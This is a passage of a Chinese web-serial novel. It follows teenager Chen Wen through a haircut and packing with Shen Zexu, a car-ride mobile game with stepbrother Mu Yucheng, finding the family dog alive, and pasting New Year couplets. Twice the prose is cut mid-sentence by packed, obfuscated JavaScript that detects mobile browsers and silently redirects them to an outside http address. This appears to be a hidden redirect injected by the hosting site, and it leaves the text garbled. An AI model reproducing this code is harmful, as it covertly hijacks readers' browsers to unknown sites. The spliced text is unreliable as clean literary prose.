镜子里的男生剪完头发,整个人尽显干净清爽的少年气,露出白皙的后颈。 额前的碎发也被修得恰到好处,不再遮挡视线,清晰地露出那双半是清亮半是朦胧的桃花眼。阳光一照,眼底像落进了光。 沈泽许自己看着,心里是满意的。但他没说话,从镜子里看着陈温,等他夸奖自己。 陈温也盯着镜子看了几秒,心里其实挺满意,但嘴上偏要死鸭子嘴硬,故作平淡地评价:“还……行吧。一般。” “哦~是吗?”沈泽许垂着眼,拿起小刷子,扫掉陈温后颈最后一点碎发,动作细致得近乎虔诚。 听他这么说,扫完也不反驳,只是伸手,故意在他刚理好的脑袋上胡乱揉了两把,把那头清爽的短发又弄得有点毛茸茸。 陈温被他揉得脖子一缩,觉得这人绝对是故意的,立刻从镜子里瞪了他一眼,眼尾微微上挑。 就在这时,放在一旁桌上的手机嗡嗡震动起来,屏幕亮起,显示“陈林峰”。 大概是来催他准备好东西的。陈温撇了撇嘴,伸手拿过手机,接通,放到耳边。 “喂?”他应了一声。 “我们到惠州了,”电话那头传来的是慕雪阿姨带点笑的声音,“小温,东西收拾好了没有?” 陈温下意识地瞥了一眼自己脚边那个还敞着口、根本没开始整理的背包,面不改色地对着话筒撒谎:“嗯,好了。” “那行,等我们快到了再给你打电话,你再下楼。”慕雪阿姨那边似乎环境有些嘈杂,她提高了些声音,又转头问旁边的人,“老陈,你还要跟小温说啥不?” “还要”这两个字用得有点微妙。 不是“你要不要”,也不是“老陈有话跟你说”,而是“还要说啥不”。 这意味着,陈林峰是已经准备要说点什么的,或者在慕雪阿姨看来,他应该再说点什么。 陈温心里咯噔一下,有些吃惊。他那个对情感表达近乎吝啬的老爸陈林峰……居然会主动“要”跟他说点什么?虽然是通过别人的口问出来的。 他紧握手机,屏住了呼吸。 电话那头传来一声极轻、极短的“没”,声音低沉,是陈林峰的。 闻言,陈温握着手机的手指几不可察地松了松,心底那点莫名的紧张也跟着散了,取而代之的是一种说不清是失落还是果然如此的平静。 “那就这样啦,”慕雪阿姨的声音重新清晰起来,一如既往的温和,“小温,这几天降温,多穿点,下来的时候别着凉了。” 慕阿姨又关心起学习来:“对了,期末考试成绩出来了吧?怎么样?” 陈温抿了抿唇,知道瞒不过。 上次在酒局骗他们的低分成绩,慕雪阿姨发信息问老师,从老师那里知道了真相,但也没有问他为什么要这样做。 “比期中退了几名,”他老实说,声音压低了些,“但比一模……高了四个名次。” “那就好!那就好!”慕雪没有丝毫的责备,“一次考试说明不了什么,名次有起伏很正常。期中那次过去了,一模也过去了,现在要做的就是稳住心态,继续加油,知道吗?” “嗯,知道了,谢谢阿姨。” “行,那先这样,待会见。” 电话挂断,忙音嘟嘟响起。 陈温把手机从耳边拿开,盯着暗下去的屏幕看了两秒,才把它放回桌上。 “我去洗个头。”他拆掉塑料袋,转身往浴室走,身上还沾着不少碎发,痒痒的。 沈泽许“嗯”了一声,跟了进去。等陈温快速冲完,顶着湿漉漉的头发出来时,沈泽许已经拿好了吹风机,插上电,朝他招了招手。 陈温乖乖走过去,在床沿坐下。 沈泽许站在他身前,拨弄着他柔软潮湿的发丝,暖风嗡嗡地吹着。陈温的耳朵渐渐染上了一层薄红,从耳廓蔓延到耳垂。 他的耳朵似乎极其敏感。 当沈泽许的指尖无意间擦过耳廓,或者暖风稍近距离地扫过时,那抹红色便会加深一分,耳廓也会微微颤动一下,像受惊的蝴蝶翅膀。 沈泽许的目光落在那只红透的耳朵上。耳廓的形状生得很好,线条干净。 视线下移,落在右耳轮的位置——那里有一颗很小的痣,平时被头发遮着,几乎看不见。 此刻因为头发被撩起吹拂,那颗痣便显现出来,点缀在泛红的皮肤上。 真像只猫。沈泽许想。猫的耳朵也这样敏感,碰一碰就会抖,会往后撇。 而陈温此刻微低着眉,露出后颈和耳朵,安安静静任他摆布的样子,也莫名契合了某种猫科动物收起爪子、短暂驯服的姿态。 沈泽许没把头发完全吹干,只吹到半干的状态,发根蓬松,发尾带着一点潮意,摸上去软软的,带着洗发水干净的香味。 由于陈温那拖拖拉拉的性格,行李到现在还一样没收拾。眼看时间一点点过去,他总算有了点紧迫感,不得不抓紧了。 他“呼啦”一下拉开衣柜门,开始在里面翻箱倒柜。 沈泽许收好吹风机,拔掉插头,线绕得整整齐齐放回抽屉。 然后他转过身,没有要去帮忙的意思,走到床边,一屁股坐下,身体微微后仰,手撑在身后,好整以暇地瞧着陈温像只无头苍蝇似的在房间里打转。 沈泽许正看得陈温入神,忽然眼前一暗——一件叠得歪歪扭扭的米白色毛衣凌空飞来。 他下意识抬手接住,还没来得及放下,紧接着,一条深灰色的长裤又扑了过来。然后是那条他去年送给陈温的围巾,像条调皮的蛇,挂在了他脖子上。 衣物们仿佛突然有了生命,争先恐后地从陈温忙乱的手里“逃离”,目标明确地朝他这个静止的“衣架”飞来。 沈泽许反应不过来,也接不过来。他徒劳地抬手挡了几下,很快就被各式各样的衣物“淹没”了。 卫衣搭在肩上,长裤堆在腿上,T恤松松垮垮,衬衫袖子挂在他臂弯…… 没一会儿,他就被“装扮”成了一棵五颜六色的“圣诞树”。 陈温似乎没有意识到自己在胡乱抛掷“弹药”,念叨着,自己的灰卫卫衣跑去哪里了。 他停下动作,转过身,看到沈泽许这副模样时,自己愣了一下,随即没忍住,“噗嗤”一声笑了出来。 刚才收拾东西的烦躁,好像也随着这笑声散了些。 “沈泽许你干嘛把自己打扮成这样?”陈温笑得合不拢嘴。 沈泽许没理会他的调侃,只是面无表情地从他下巴处,扯下一件……黑色的、揉成一团的、明显是贴身衣物的东西——一条内裤。 陈温的笑声戛然而止,像是被人按下了静音键。他脸上的笑容瞬间凝固,然后迅速褪去,耳朵尖以肉眼可见的速度蹿红。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171995|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他张了张嘴,想说什么,又咽了回去,最后只尴尬地、掩饰性地咳嗽了一声,眼神四处乱瞟,就是不敢再看沈泽许手里那团黑色。 大概是生性不爱笑吧。 沈泽许仿佛没注意到他爆红的耳根和局促,只是把那团黑色叠好,放在一旁,抬眼问:“你要什么?” “……卫衣。”陈温气势明显弱了。 “这件?”沈泽许从自己腿上那堆衣物里,拎起一件黑色连帽卫衣。 “不是,”陈温摇头,“是灰色的那件,胸口有个小logo的。” 沈泽许放下黑色卫衣,在那堆被他“拦截”下来的衣服山里重新翻找。 他动作不疾不徐,拨开一件毛衣,又挪开一条裤子,最后从底下抽出一件叠得还算整齐的灰色卫衣,提起来抖了抖,展示给他看:“这件?” “对!就是它!”陈温眼睛一亮,立刻开心起来,几步走过去,接过卫衣,也没仔细检查,就随便对折了两下,塞进了摊开在地上的袋子里。 动作干脆利落,仿佛刚才的尴尬从未发生过。 他转身又在沈泽许周围散落一地的衣物里,埋头翻找其他要带的东西。 动作依旧毛毛躁躁,一件衣服被他拎起来看看,不合适又随手丢到一边。 沈泽许看着他制造出的新一轮混乱,无声地叹气。 他弯下腰,开始收拾残局。将陈温随手乱扔、以及刚才袭击过自己的衣服一件件捡起来,抖开,抚平褶皱,随后叠得方方正正,再分门别类地放回衣柜里。 动作熟练利落,透着一种与陈温截然不同的、井井有条的安静。 陈温终于从衣物堆里扒拉出两条看起来一模一样的休闲裤。 “一洗一换,刚刚好!”他满意地嘀咕,一抬头,就瞧见沈泽许低头,专注叠衣服的侧影。 光线勾勒着他的轮廓,那副认真又带着点无奈的样子,不知怎么,就让陈温联想到了……居家又贤惠的形象。 他忍不住“噗嗤”一下,又偷笑起来,这次笑得肩膀都在耸动。 沈泽许闻声抬眼,淡淡瞥了他一眼,没理会他的偷笑,只是把最后一件衬衫叠好,利落地塞进衣柜。 一切总算准备完毕。书包里塞着几张没有写完的试卷,一旁的手提袋鼓鼓囊囊。 陈温背上书包,拎起袋子,走到门口,又停下,回头嘱咐沈泽许:“你等我上车了再下去。免得……他们看出什么。” 沈泽许点点头,表示明白。 他们可能五天都见不到了。陈温心里这么想着,嘴上却故意用轻松调侃的语气说:“别太想我哦。”潜台词却是:这几天都要想着我哦。 沈泽许看着他故作不在意的表情,眼里掠过一丝笑意,故意道:“好,那我就不想了。” “行——”陈温拉长了音调,尾音上扬,带点咬牙切齿的味道,“现在不想,以后也不想呗。”说完,还瞪了他一眼,一副“你敢说‘是’就死定了”的表情。 沈泽许被他这副虚张声势的模样逗乐了,“开玩笑的。”他看着陈温的眼睛,很认真地说:“我会想你的。” 陈温听完,满意地点头,嘴角控制不住地上扬。趁电梯还没到,他飞快地凑过去,在沈泽许脸颊上“啵”地亲了一口,留下一个微湿的的印记。 “我走了!”陈温收手,转身闪进刚好到达的电梯门里。 63. 小黄狗 陈林峰接过陈温递来的书包和手提袋,走到车尾,“嗒”一声打开后备箱,将行李稳妥地放了进去。 动作干脆,带着一贯的沉默。 陈温拉开后车门,一股暖气和淡淡的皮革味扑面而来。 他刚坐进去,就听见旁边传来噼里啪啦的激烈游戏音效,夹杂着慕雨澄压着嗓门的吐槽: “辅助你会不会玩啊?去跟射手啊!一直跟着我干嘛?” 手机扬声器里紧接着传出一个娇滴滴、刻意拖长了尾音的女声:“哎呀,人家就是想跟打野哥哥嘛~” 慕雨澄闻言,显然被噎了一下,声音更无奈了,带着一种“我跟你说不通”的疲惫:“你去跟射手行不行?我这儿真不需要帮忙,我自己能刷野。” 说完,他似乎直接闭了队友麦,专心操作他的英雄去了。也不知道那个声音娇软的妹子最后有没有听话离开。 陈温收回瞥向慕雨澄手机屏幕的视线,不感冒的样子。他转向车窗,额头抵着玻璃,目光涣散地投向窗外飞速倒退的街景和匆匆行人。 没过多久,慕雨澄看见屏幕上炸开的水晶和刺眼的红色“失败”字样,烦躁地“啧”了一声,干脆利落地关掉了游戏。 他靠在椅背上,盯着黑下去的手机屏幕,心里那股无名火还没散。 为什么现在的队友跟听不懂人话一样?补位就算了,经济全场第一、节奏带得飞起的打野说的话都不听,这游戏怎么玩?职业选手来了估计都得被这群人气到原地退役。 他偏过头,发现身旁的陈温正靠着车窗,目光涣散,明显是在无聊地发呆。 一个念头忽然冒了出来——与其匹配那些气死人的路人,不如……拉陈温入坑?让他来给自己打辅助,至少听话吧? 说干就干。慕雨澄往陈温那边挪了挪,胳膊肘轻碰了他一下,压低声音问:“欸,你玩不玩游戏?” 陈温回过神,转头看他,愣了片刻才说:“游戏?……旅行青蛙算不算?” “……”慕雨澄被这个过于复古且佛系的答案噎了一下,沉默了两秒,才重新组织语言,带着点难以置信,“不是那种……王者,知道不?你没玩过?” 陈温老老实实地摇头:“听过,没玩过。” 慕雨澄的眼睛瞬间亮了起来,仿佛看到了一个绝对听话的新手工具。他语气充满了蛊惑和自信:“快,下载一个!我带你飞,保证把把赢,轻松上分!” 陈温微微挑眉,看着慕雨澄那副急于拉人入伙的样子,心里那点无聊的因子忽然活跃起来。他故意拖长了语调:“那你……叫我一声‘哥哥’,我就陪你玩。” 话音刚落,车厢里的空气似乎凝滞了一瞬。连前排正在低声交谈的陈林峰和慕雪阿姨都停了下来,慕雪更是有些担心地从后视镜里看向后座的两人。 慕雨澄的脸颊肌肉几不可察地抽动了一下,显然没料到陈温会提这种要求。 他瞪着陈温,眼神里写满了“你是不是故意的”,但想到刚才那局糟心的排位,以及陈温这个“可控变量”带来的潜在上分希望……他深吸一口气,像是下了很大决心,从牙缝里挤出一个字: “哥。” 虽然少了一个字,但陈温还是被这声干脆的称呼震得愣了一秒。他以为以慕雨澄那傲娇别扭的性格,绝对会梗着脖子拒绝,或者干脆不玩了。 震惊过后,陈温嘴角控制不住地上扬,心情莫名好了起来。“行。”他答应得干脆,立刻掏出自己的手机,在慕雨澄的“监督”下,麻利地下载。网速不错,进度条很快跑满。 因为两人段位差距太大,慕雨澄是大号,陈温是彻头彻尾的新手——慕雨澄只好给他一个不怎么玩的小号。 趁着游戏更新资源的空档,他抓紧时间,对陈温进行了为期五分钟的“紧急培训”,内容涵盖基本操作、地图认知、以及作为辅助最核心的使命——“跟着射手,保护队友,听我指挥”。 陈温听得半懂不懂,但本着“拿了人家一声‘哥’就得办事”的原则,还是认真点头。 于是,在前往乡下的高速公路上,后排的两个少年头挨着头,开启了一段“愉快”的双排之旅。 陈温在一众花里胡哨的英雄里,挑了个长相漂亮、技能描述看起来又简单的辅助女英雄。慕雨澄则选了个娇小可爱的萝莉型中路法师。 怎么说陈温也算半个学霸,理解力和操作都不算差。开局后,他谨记慕雨澄“跟着射手”的教诲,乖巧地附身在了自家射手身上,像个小挂件。 然而问题来了。他们家这位射手,打法异常“勇猛”,仿佛自带冲锋号角,总是莫名其妙就往前冲,深入敌阵。 陈温附在他身上,还没来得及看清局势,就被对面噼里啪啦一顿技能砸下来,从射手身上被迫脱离,然后瞬间被集火秒杀。 而那位始作俑者射手,往往在卖掉他之后,自己丝血闪现,灰溜溜地逃之夭夭。 又这样“惨死”了一次之后,屏幕灰暗的读秒时间里,对话框里蹦出一行字,来自他们家0-2开局、现在正在野区刷野的打野: “辅助会不会玩?怎么上的这个段位?送?” 陈温看着这行字,手指顿住了。他有些茫然,下意识地偏过头,幽怨地瞥了一眼身旁正专注于中路对线的慕雨澄,眼神里透着“这怎么办”的无措。 慕雨澄刚清完一波兵线,抽空瞥了一眼经济面板和比分,又看了眼打野那惨淡的战绩和发育,眉头立刻皱了起来。他手指飞快地在屏幕上敲字: “一个2-7的打野好意思说别人?管好你自己吧。” 可能是因为家长就在前排,他敲字时还保留了最后一点克制,没有骂得更难听。 发完,他头也不抬地对陈温说:“别理他。这射手也没救了,你别跟他了,过来跟我。” 得到指令,陈温立刻像找到了主心骨。他从又一次准备“英勇就义”的射手身上跳下来,操作着自己的小英雄,晃晃悠悠地穿过河道,奔赴中路。 随后,再次使用了附身技能,稳稳地挂在了慕雨澄操控的那个小萝莉法师头上。 虽然这游戏他还没玩明白,但他很清楚自己现在是什么段位、什么水平。 这局面对他这个新手来说太难了,唯一能依靠的,好像就只有身边这个虽然脾气有点急、但至少会维护他、技术也还不错的“弟弟”了。 慕雨澄活动了一下僵硬的脖子和手指关节,眼神专注地盯着屏幕,仿佛进入了某种“狩猎”状态。 他开始展示真正的技术。 先是预判敌方射手走位,提前埋伏在草丛里,等那单走的射手要探草丛的瞬间,一套技能精准砸下,配合被动和平A,干脆利落地完成单杀。 紧接着转线推下路,正好撞上对面赶来支援的打野。慕雨澄不慌不忙,走位拉扯,躲开关键控制,然后又是一套行云流水的技能连招。 陈温虽然反应慢半拍,但也看准时机,给他套上了一个护盾。 顶着薄薄的护盾,慕雨澄硬是极限反杀了经济更高的敌方打野,顺势推掉下路一塔,为队友打开了局面。 渐渐的,局势被慕雨澄这个点带动起来,经济反超,节奏也回到了他们这边。 尽管队友仍有迷惑操作,但架不住慕雨澄的法师发育太好,伤害爆炸。 最终,在一波团战胜利后,他们推掉了敌方水晶,屏幕上跳出“胜利”的字样。 一场游戏下来,陈温这个新手辅助累得气喘吁吁,精神高度集中,他感觉这比闷头写半张奥数试卷还要耗费心神。 手里的旧手机后壳已经烫得明显,运行也变得更加迟缓。他赶紧关掉游戏,把手机丢到一边,长长舒了口气:“不玩了,手机太烫了。” 这旧手机确实经不起这样高负荷的游戏运行,发烫和卡顿都是常态。 前排开车的陈林峰透过后视镜看了他一眼,清清嗓子道:“这手机……确实用了好久了。要不,给你换个新的?” 他的语气听起来不像随口一提,倒像是考虑过的。 “不用。”陈温几乎是下意识地拒绝,脱口而出。他觉得麻烦,而且……对这个旧手机,确实有点说不清的感情。 虽然它干什么都慢半拍,偶尔还会死机,但毕竟用了这么多年,里面存着不少东西。 再者,他心里还有一层更隐秘的、连自己都不愿深究的别扭——不想那么理所当然地用家里的钱,或者说,用了会觉得不好意思。 “小温是舍不得这个旧手机吗?”副驾驶的慕雪忽然轻声问道。 陈温愣了一下。不愧是心思细腻、观察入微的慕雪阿姨,一下就点破了他复杂情绪里最单纯的那一层。 他沉默了几秒,最终还是点头,声音低了些:“是有点……” 承认这一点,似乎比承认其他的心思要容易些。 “那这样吧,”慕雪的声音带着商量的口吻,“下次考试,如果你又能有进步,就把新手机当作给你的奖励,好不好?至于这个旧手机,你也可以自己留着,当个纪念。” 慕雪阿姨是有读心术吗? 用“奖励”替代“给予”,用“进步”作为条件。 这个方法,巧妙地将单纯的物质给予,转化为了对努力和成绩的肯定与鼓励。 果然,陈温心里那股因花家里钱而产生的别扭和愧疚感,似乎被这个提议冲淡了不少,变成了一种可以接受、甚至隐隐有所期待的“等价交换”。 “嗯,好。”陈温爽快地答应了。 大概是刚才那局游戏耗费了太多精力,困意渐渐涌了上来。陈温看了眼窗外,高速公路两旁掠过的风景开始变得有些单调,距离乡下还有一段路程。 他打了个小小的哈欠,身体不自觉地往旁边歪了歪,脑袋一沉,便靠在了慕雨澄的肩膀上,闭上了双眼。 慕雨澄正低头划拉着手机屏幕,考虑要不要自己单排一把,肩膀上忽然一沉。 他侧过头,看见陈温已经呼吸均匀地睡着了,睫毛在眼睑下投出一小片阴影。 他动作顿住,本想把人推开的手,最后还是没动。 算了,再开一局万一又碰到坑队友,说不定会气得吵醒他。 他关掉了游戏,连上耳机,选了个舒缓的纯音乐歌单。 轻柔的钢琴旋律像溪水般在流淌。 没过多久,在这令人放松的音乐和 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但院子里此刻的空荡,还是让陈温心里莫名“咯噔”了一下。太安静了。 他走进屋里,爷爷正坐在客厅的红木沙发上看电视,奶奶在厨房里忙活。 他打了招呼,犹豫了一下,问:“奶奶,院里那条小黄狗呢?” 奶奶在围裙上擦了擦手,神色平常:“哦,那狗?早上不晓得跑哪儿去了,没回来。跟别的狗跑远了吧。” 这个说法很笼统。陈温谈不上多伤心,但一种不安感,还是升了起来。 爷爷奶奶那辈的人有吃狗肉的习俗,他们偶尔也会提起哪位老友家“弄了点好肉”。陈温觉得闻起来味道怪怪的,从没有吃过。 跑丢或被偷的概率有,但结合他对爷爷奶奶生活习性的那点了解,另一个可能性像块冰,沉甸甸地坠在胃里。 他没有再多问,也知道问不出什么。 对一条并不熟悉的狗,他似乎没有立场去质问或表露更多情绪。 只是站在明显空旷的院子里,那股归乡的暖意彻底消散了,取而代之的是一种说不清的凉意,比脖子上的酸痛更让人不舒服。 陈温正被那股不祥的预感弄得心烦意乱,胸口发闷。 突然,他听见身后传来一声熟悉的、带着点讨好意味的“汪呜”。 他猛地回头。 只见一条毛色黄亮、体型已经长开了的大狗,正从屋后的柴火堆旁颠颠地跑过来,尾巴摇得像摆钟,嘴里还得意地叼着一只沾满泥巴的旧拖鞋。 正是小黄!它比陈温记忆中大了整整一圈,精神头十足。 奶奶正好从屋里出来,一眼就看见了它嘴里的“战利品”,立刻皱起眉头,啐了一口:“这死狗!又叼拖鞋!” 她快步上前,不轻不重地踢了它屁股一脚,小黄“嗷呜”一声松了口,奶奶弯腰捡起那只拖鞋,拍了拍土,又骂了一句:“一边玩儿去!别在这儿碍事!” 小黄也不怕,甩起尾巴,绕到陈温腿边,仰起头,湿漉漉的黑眼睛盯着他,喉咙里发出哼哼唧唧的声音。 陈温顾不上计较刚才那些乱七八糟的猜测,看着眼前活蹦乱跳的小黄狗,心里那块石头“咚”地一声落了地。 它还活着,好好的,就在这儿。 陈温忍不住笑了,心里那点喜悦促使他蹲下身,想跟小黄亲近亲近。 但他从小对狗就怕,尤其是这种体型已经不小的土狗,不太敢直接上手摸。 他犹豫了一下,伸出一根手指,小心翼翼地在小黄狗毛茸茸的脑袋顶上戳了一下,像在试探一个可能会动的毛绒玩具。 小黄正仰着头,吐着舌头看他,被这突如其来的一戳弄得有点懵,下意识地抬起嘴巴,朝着那根“冒犯”它的手指凑过去,鼻头耸动,仿佛想闻闻或者轻轻含一下。 这个抬头的动作在陈温眼里,立刻被放大解读成了“要咬我!”。 他手指猛地缩了回,整个人也控制不住往后一仰,差点没保持住平衡坐在地上,脸上那点笑容也被惊吓取代。 小黄歪着脑袋,眼里满是疑惑,似乎不明白这个两脚兽为什么突然反应这么大。 它往前凑近,想继续闻闻他。 陈温却已经飞快地站了起来,心有余悸地拍了拍胸口,跟小黄保持着“安全距离”,脸上的表情又好笑又无奈。 看来,怕狗这事儿,不是立刻就能克服的。 “妈,”慕雪过来问,“这狗怎么养得这么大了?我记得上次见还挺小的。” 奶奶把拖鞋放回门边,拍手上的灰,随口道:“吃鱼吃的呗。你爷爷偶尔去塘里下网,捞到的小鱼小虾,都喂它了。” 她看了眼围着陈温打转的狗,不易察觉的赞许道,“这狗听话着咧,会看家,还会赶跑来偷吃庄稼的野鸡野兔,有点用处。” 陈温听着,心里最后那点疑虑也彻底散去了。 他听到的,不是“吃鱼长得快”,也不是“会看家”。他听到的是:小黄有用。它暂时安全了。它不会轻易被端上餐桌! 太好了! 64. 愿赌服输哦 吃过午饭,胃里暖洋洋的,人也变得懒散起来。 陈林峰收拾完碗筷,出门,看见堂屋大门两侧贴着的对联——还是去年春节那副,红纸早已褪色发白,边角被风雨侵蚀得卷翘起来,在冬风里瑟瑟抖动。 明天就过年了,但是老人家忘记换对联了。陈林峰皱眉,想去屋里找找看今年新买的对联换上。刚转身,就被慕雪拉住胳膊。 慕雪朝他使了个眼色,目光瞥向客厅角落。那里,陈温和慕雨澄正摊在红沙发上,一人捧着个手机,显然是吃饱喝足后又开始了他们的“电竞事业”。 慕雪压低声音,面带笑意,道:“别忙了,让俩孩子他们去吧。正好是个机会,学学怎么贴对联,感受一下过年的气氛,老玩手机对眼睛也不好。” 陈林峰顺着她的目光看去,那两人完全沉浸在游戏世界里,对即将到来的一切一无所知。他想了想,觉得有道理,便收回了脚步。 慕雪提高声音,朝屋内喊:“小温,小雨!先停一下好吗?” 两人同时抬起头,眼神迷茫。 女人走过去,指着堂屋大门,“你们看,去年的对联都旧了。今年新买的对联就在里屋的柜子上,红色的那卷。你们去找出来,咱们一起把它换上,好不好?也看看今年的对联想写了什么吉祥话。” 她的语气不是命令,而是邀请,是那种难以拒绝的柔和。 陈温和慕雨澄对视一眼,都从对方眼里看到了“逃不掉”的认命。 两人还没有开始游戏,就结束了。 “好……”陈温先应声,退出了游戏。慕雨澄也啧了一声,把手机锁屏揣回兜里。 两人磨磨蹭蹭地起身,很快从里屋柜子上找到了那卷崭新的对联,红纸金字,透着喜庆。 又按照慕雪的指示,从厨房矮柜里翻出了一小罐散发着米香的浆糊和一把刷子。 陈林峰走过来,看了一眼他们手里的东西,言简意赅地指导:“刷子蘸浆糊,别太多,均匀涂在红纸背面。四边和中间都刷到,贴上去按平,别留气泡。” 说完,他拍拍两个儿子的肩膀,意思很明确:接下来就看你们的了。然后便去忙别的了。 留下陈温和慕雨澄对着大门和手里的对联。 “哪个是上联?哪个贴右边?”慕雨澄拎着两副对联,有点懵。传统习俗里,面对大门,右边是上联,左边是下联,但怎么区分上下联,他一知半解。 陈温凑过去仔细看对联上的字,勉强根据最后一个字的平仄和语意顺序分辨了一下:“这个……‘门迎春夏秋冬福’应该是上联吧?贴右边。‘户纳东西南北财’是下联,贴左边。” “行吧,听你的。”慕雨澄没有异议。 分工明确,一人负责一边。 陈温拿着刷子,先蘸了适量的浆糊,而后学着刚才陈林峰说的,在红纸背面小心地操作起来:先是沿着四条边,刷出一个长方形的边框,确保边缘都能粘牢;接着,在长方形的中间,自上而下,刷上两道均匀的浆糊,增加中间的附着力。 慕雨澄在一旁看着,有样学样,也在自己那张红纸背面涂刷起来。 动作虽然有点生疏,但还算认真。 背面涂好了米糊,红艳艳、湿漉漉地躺在一边。 接下来就是往大门上贴了。两人抬头看了看那扇约莫两米三高的老式木门,又看了看对方。 问题来了——谁上去贴? 陈林峰倒是想得周到,早就把一架有些年头的金属折叠梯支开,稳稳地靠在了门边。 现在,梯子有了,贴对联的人选却僵持住了。 陈温看着那架需要爬到近两米高处的梯子,手心有点冒汗。 他从小就有些恐高,站到稍微高一点的地方往下看,就会头晕目眩,腿脚发软。 这事慕雨澄是知道的,小时候没少利用他这个弱点捉弄他,比如骗他去看窗外木棉树高枝上的鸟窝,吓得陈温脸色发白。 可他不知道的是,慕雨澄心里也打着鼓。慕雨澄怕的不是高度,而是这种老式的折叠梯本身。 在慕雪还没跟陈林峰在一起、母子俩相依为命的那段日子里,慕雪常常要起早贪黑出去摆摊挣钱,把小小的慕雨澄独自留在租来的小屋里——这也是无奈之举。 有一次晚上,慕雨澄正津津有味地看着动画片,头顶的灯泡“啪”一声烧坏了,屋里瞬间一片漆黑。 小慕雨澄倒也不怕,记得妈妈说过要先关电闸,他摸黑找到闸盒拉下,然后搬出家里那架同样老旧不稳的折叠梯,想自己换个灯泡。 小孩子想得简单,只觉得爬上去、拧下来、换上去就行,根本没仔细检查梯子脚有没有放平撑稳。 结果爬到一半,梯子猛地一晃,他整个人尖叫着摔了下来,一屁股墩结结实实地砸在地板上,小手臂还重重磕到了旁边的木头桌角,当场就青紫了一大片。 屁股疼了好几天,手臂上的淤青更是过了大半个月才消。 等慕雪收摊回来,推开家门,就被眼前的景象吓了一跳——屋内没开灯,半截蜡烛在桌角幽幽燃着,将慕雨澄趴在桌上写作业的小小身影投在墙上,放得很大,像什么事都没发生过一样。 慕雪赶紧换上新灯泡,屋里重新亮堂起来。 光线一好,她立马发现不对劲——儿子露在短袖外的小臂上,好大一片刺眼的青紫色淤痕,边缘已经有些发黄。 她心里一紧,蹲下身问他怎么弄的。 慕雨澄抬起眼,眼神有些闪烁,然后就开始装傻充愣,一会儿说可能是在学校不小心撞的,一会儿又说不知道什么时候碰的,总之就是不肯提摔下梯子的事。 他不想让已经够辛苦的妈妈再为他担心,更怕妈妈责备他乱动危险的东西…… 从那以后,他对这种看起来就不太牢靠的折叠梯,就有了心理阴影,能不碰尽量不碰。 此刻,兄弟俩大眼瞪小眼,谁都没先动。 眼看浆糊要干,两人还在僵持,陈温灵机一动:“要不……我们剪刀石头布?谁输谁上。” 慕雨澄想了想,好像也没有更好的办法,而且他觉得自己运气不一定差。“行!” 于是,一场决定“命运”的、幼稚又惊心动魄的猜拳对决,在老宅堂屋门口正式拉开序幕。 两人面对面站好,神色严肃,各自将右手藏在身后,仿佛西部电影里决斗前将手按在枪套上的牛仔,空气里弥漫着无形的硝烟。 “剪刀——石头——布!”两人异口同声,同时出手。 两只手掌摊开——都是剪刀。 “……”平局。 “再来!剪刀石头布!”再次同时出手。 两只紧握的拳头——都是石头。 “……”又是平局。 两人都急了,觉得是喊口令节奏的问题。下一把干脆连“剪刀石头”都不喊了,直接盯着对方眼睛,同时高喊:“布!” 两只手同时伸出——五指张开,都是布。 戏剧性的一幕接连上演,两人你来我往,出的拳居然一模一样了好几轮。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171997|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁边路过的小黄狗都停下脚步,歪着脑袋,好奇地看着这两个人类奇怪的仪式。 最终,在不知道第几轮紧张的对峙后,陈温最终以“石头”砸了慕雨澄的“剪刀”。 “耶!”陈温忍不住小声欢呼了一下。 慕雨澄看着自己张开的两指,又瞧见陈温紧握的拳头,脸一下子垮了下来,认命般地叹了口气。 “愿赌服输哦。”陈温提醒道。 “我知道!”慕雨澄咬牙,视死如归般地,走向了那架在他童年记忆里留下过阴影的折叠梯。 先仔细检查了梯脚是否完全撑开、牢牢抵住地面,慕雨澄又用力晃了晃,确认稳定性。然后,他看向陈温,语气无比严肃:“你一定要扶好!扶稳了!千万不能松手!” 陈温连连点头,神色郑重地站到梯子侧面,双手紧紧抓住两侧的金属支架,像护着一件易碎的珍宝:“放心,我看着呢,绝对不动。” 慕雨澄这才带着一副“壮士一去兮”的悲壮表情,开始往上爬。 他爬得很慢,一步一停,几乎每上一级都要回头看看陈温扶稳了没有,再看看脚下,额头上甚至渗出了一层细汗。 终于,他颤颤巍巍地爬到了合适的高度,双腿还有些微微的发抖。 “对联!快!”他伸手朝下喊道。 陈温赶紧把上联举高,递到男生手里。慕雨澄接过去,借着门框比划了一下位置,不再犹豫,对准地方,“啪”地一下将红纸按了上去,随后用手掌从上到下用力抹平,确保没有气泡和翘边。 贴完一边,又如法炮制贴好了另一边的下联。接着,两人又协作把厨房门那副小一点的对联也贴好了。 当慕雨澄终于从梯子上下来,几乎是蹦下来的,仿佛逃离了什么可怕的东西,脚踏实地的瞬间,他长长地呼出一口气。 慕雨澄退后几步,站远了看。 两扇门上,崭新的红底金字的对联贴得端端正正,左右对齐,高低一致,一下子就有了过年的喜庆味道。 慕雨澄看着自己的“杰作”,刚才爬梯子的恐惧和紧张一扫而空,一股小小的成就感油然而生。 他双手叉腰,下巴微抬,忍不住自夸起来:“啧,不愧是我。贴得这叫一个板正!一般人可没这手艺,一次性成功!” 慕雨澄欣赏完自己的“杰作”,得意劲儿还没过去,一低头,愣住了——自己两只手上沾满了鲜红的颜料,指缝里、手背上都是,像刚徒手染了布。 